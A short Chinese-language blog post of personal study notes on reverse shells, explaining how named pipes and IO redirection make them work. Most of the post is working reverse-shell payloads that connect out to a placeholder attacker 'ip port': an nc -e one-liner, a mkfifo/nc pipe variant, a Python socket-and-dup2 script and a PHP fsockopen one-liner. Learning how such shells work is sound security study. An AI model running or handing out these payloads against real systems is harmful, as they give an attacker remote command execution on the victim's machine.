学习nc反弹shell过程中所想到的

  nc反弹shell可以使用如下命令:

nc -e /bin/bash ip port

   但是如果nc的版本没有e选项,那么:

mkfifo /tmp/f # 或者 mknod /tmp/f p
cat /tmp/f | /bin/sh -i 2>&1 | nc ip port > /tmp/f

  这里逐步解释一下,mkfifo /tmp/f创建一个管道文件,这个命令与mknod /tmp/f p等价。

  cat /tmp/f读取管道里的内容;/bin/sh -i 2>&1以交互方式运行/bin/sh,并将标准错误重定向到标准输出;nc ip port > /tmp/f连接 ip:port 并将输出重定向到/tmp/f。

  这条命令的逻辑是这样的:cat /tmp/f等待并从命名管道中获取命令,然后将获取到的命令通过匿名管道发送到/bin/sh执行,然后/bin/sh将返回的结果再通过匿名管道发送给ncnc则将命令的结果发送到 ip:port ,如果 ip:port 再次输入的命令,那么这个命令被nc接收后会被重定向到/tmp/f。于是又开始循环。大致流程如下图所示:

  总结下来,反弹shell的基本逻辑就是:

    1. TCP等连接
    2. IO重定向
    3. 允许执行系统命令

  再记录下python和php反弹shell的方法:

    • python:
import socket, subprocess, os
# TCP连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((“ip”, port))
# IO重定向
os.dup2(s.fileno(), 0) # 将socket的文件描述符复制到标准输入
os.dup2(s.fileno(), 1) # 将socket的文件描述符复制到标准输出
os.dup2(s.fileno(), 2) # 将socket的文件描述符复制到标准错误
# 执行/bin/bash -i
p = subprocess.call([/bin/bash”,-i”])
    • php:
php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'

 

posted @   泓溪  阅读(344)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· Vue3状态管理终极指南:Pinia保姆级教程
点击右上角即可分享
微信分享提示